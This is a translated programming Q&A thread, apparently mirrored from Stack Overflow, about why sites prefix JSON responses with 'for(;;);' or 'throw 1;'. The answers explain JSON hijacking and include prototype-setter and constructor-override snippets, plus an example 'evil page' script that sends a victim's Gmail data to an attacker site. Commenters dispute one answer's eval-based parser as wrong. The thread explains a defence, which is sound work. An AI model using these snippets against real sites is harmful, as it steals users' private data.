为什么人们会写像“throw 1; <dont be evil>”和“for(;;);”这样的代码 在 json 响应之前?

IT技术 javascript ajax security json
2021-01-20 04:18:59

可能的重复:
为什么 Google 将 while(1) 放在前面;到他们的 JSON 响应?

谷歌返回这样的json:

throw 1; <dont be evil> { foo: bar}

和 Facebook 的 ajax 有这样的 json:

for(;;); {"error":0,"errorSummary": ""}
  • 他们为什么要放置会停止执行并生成无效 json 的代码?
  • 如果它无效,他们如何解析它并且如果您尝试评估它会崩溃?
  • 他们只是从字符串中删除它吗(看起来很贵)?
  • 这有什么安全优势吗?

响应它是出于安全目的:

如果抓取工具在另一个域上,他们将不得不使用script标签来获取数据,因为 XHR 无法跨域工作。即使没有for(;;);攻击者如何获取数据?它没有分配给变量,所以它不会因为没有对它的引用而被垃圾收集吗?

基本上要获得跨域的数据,他们将不得不这样做

<script src="http://target.com/json.js"></script>

但即使没有崩溃脚本,攻击者也不能使用任何 Json 数据,除非将其分配给您可以全局访问的变量(在这些情况下不是这样)。崩溃代码实际上什么也不做,因为即使没有它,他们也必须使用服务器端脚本来使用他们站点上的数据。

4个回答

即使没有for(;;);攻击者如何获取数据?

攻击是基于改变行为的内置类型,特别是ObjectArray,通过改变它们的构造函数或其prototype然后,当目标 JSON 使用{...}or[...]构造时,它们将是攻击者自己的这些对象版本,具有潜在的意外行为。

例如,您可以将 setter-property 破解为Object,这将背叛写在对象文字中的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后当 a<script>指向一些使用该属性名称的 JSON 时:

{"x": "hello"}

该值"hello"将被泄露。

数组和对象字面量导致调用 setter 的方式是有争议的。Firefox 在 3.5 版中删除了该行为,以应对针对知名网站的公开攻击。然而,在撰写本文时,Safari (4) 和 Chrome (5) 仍然容易受到此攻击。

现在所有浏览器都不允许的另一种攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8 的属性实现(基于 ECMAScript 第五版标准和Object.defineProperty)目前不适用于Object.prototypeArray.prototype

但是除了保护过去的浏览器之外,JavaScript 的扩展可能会在未来导致更多类似的潜在泄漏,在这种情况下,chaff 也应该防止这些泄漏。

非常有趣,我从没想过使用 setter。+1
2021-03-19 04:18:59
阅读有关 CSRF 攻击的信息。
2021-03-23 04:18:59
我花了一些思考才理解这里的攻击机制。对于没有得到它的任何人:攻击者将用户引诱到攻击者控制下的页面,该页面上有两个脚本标签。第一个脚本对 Array 和 Object 的原型进行了必要的修改。第二个脚本标签的src属性指向目标站点上返回 JSON 的 URL,导致用户获取 JSON(发送 cookie 和请求;在脚本请求中无法避免这种情况)并将其作为 JavaScript 执行。
2021-03-25 04:18:59
攻击者如何影响构造函数?客户端如何执行这些受污染的数据?
2021-04-11 04:18:59
+1 是的,bobice 是正确的。我想看到像这样针对 gmail 的真实世界攻击:jeremiahgrossman.blogspot.com/2006/01/...
2021-04-13 04:18:59

考虑一下,在检查您的 GMail 帐户后,您会访问我的邪恶页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的是,来自 Google 的 Javascript 代码——提问者认为是良性的并立即超出范围——实际上将被发布到我的邪恶站点。假设脚本标签中请求的 URL 发送(因为您的浏览器会显示正确的 cookie,Google 会正确地认为您已登录到您的收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢!

防止这种情况发生的方法是整理您的 JSON 响应,并在您来自同一域时可以操作该数据时对它们进行整理。如果您喜欢这个答案,请接受 bobince 发布的答案。

以程序员为目标受众的网站的问题在于,每隔一段时间您就会遇到{希望、指向、使用}不那么迂腐的人。试试这个:a) 这是这种攻击如何运作的一个例子,而不是完整的黑客对 Gmail 进行攻击的参考,并且 b) 正如这个问题的另一个答案所指出的,对 Gmail 进行了类似的攻击,允许攻击者访问用户的联系人列表。
2021-03-18 04:18:59
+1 因为这解释了攻击如何真正可行。
2021-03-18 04:18:59
我很确定 Gmail 的身份验证不仅基于 cookie,因为正如您在此处描述的那样,这将非常非常弱。我认为他们还在 URL 中加入了会话密钥,你的页面不能只是拦截。
2021-04-04 04:18:59

编辑

这些字符串通常被称为“无法解析的垃圾”,它们用于修补影响 JSON 规范的信息泄漏漏洞。这种攻击是真实存在的,Jeremiah Grossman 发现了 gmail 中的一个漏洞Mozilla 还认为这是 JSON 规范中的一个漏洞,并且已经在 Firefox 3 中进行了修补然而,因为这个问题仍然影响其他浏览器,所以需要“无法解析的垃圾”,因为它是一个兼容的补丁。

Bobice 的回答对这次攻击有技术解释,而且是正确的。

@Jesse Dhillon bobince 可能是正确的,但他的帖子遗漏了一些东西,尚不清楚攻击者如何影响构造函数。我仍然认为这是为了保护跨域代理。现在我站在谷歌一边。
2021-03-22 04:18:59
阅读en.wikipedia.org/wiki/CSRF我有一个网站;你登录到你的 JSON 重的银行网站后来到我的网站。在我的网站上,我定义了构造函数,因为它是我的网站。我嵌入了一个跨域脚本标签,OP 认为该标签会导致良性对象立即被丢弃,除非它们不是。它们被我的恶意构造函数捕获。
2021-03-22 04:18:59
@Jesse Dhillon 看看我写的这个漏洞(exploit-db.com/exploits/7922)。如果你能告诉我这个 XHR 攻击如何与无法解析的曲线相关,我会接受它的 CSRF 相关。因为安全机制是用 JS 编写的,所以我很确定与 xss 相关。
2021-03-30 04:18:59
无论是谁给了你答案,这都不是正确的答案。在全面性正确性方面,正确答案是底部用户 bobince 给出的答案。防止脚本的 JSON 输出在浏览器中被查看甚至没有意义,如果它有 Content-Typetext/json它甚至不会被打开,如果它text/[x]html是坏的 HTML。如果作为输入文档提供,浏览器在任何情况下都不会执行它。Crufting 是为了防止 CSRF 攻击和 JSON 评估,因为在攻击者的站点上,对象原型可能会被覆盖以窃取数据。
2021-03-31 04:18:59
现在这在使用上更有意义,它解释了为什么像 google 和 facebook 这样的网站使用它(允许对小工具、小部件和你有什么的跨域请求)
2021-04-12 04:18:59

如果它无效,他们如何解析它并且如果您尝试评估它会崩溃?

这是一个功能,如果您尝试eval,它会崩溃eval允许任意 JavaScript 代码,可用于跨站点脚本攻击。

他们只是从字符串中删除它吗(看起来很贵)?

我想是这样。大概是这样的:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不作恶”的粗话阻止开发人员eval直接使用,而不是更安全的替代方案。

@kibubu 一个专用的 JSON 解析器应该会抛出一个错误。
2021-03-19 04:18:59
聚会有点晚了,但这个答案完全无关紧要,而且是错误的。
2021-03-30 04:18:59
如果你不介意的话,我想看看那个正则表达式。提示 - 不要浪费时间尝试编写它:)
2021-04-02 04:18:59
它是为了防止使用eval. 不要试图回避它,而是使用专用的 JSON 解析器!
2021-04-04 04:18:59
这似乎比防止抓取更接近实际目的(无论哪种方式都需要服务器端脚本)+1
2021-04-07 04:18:59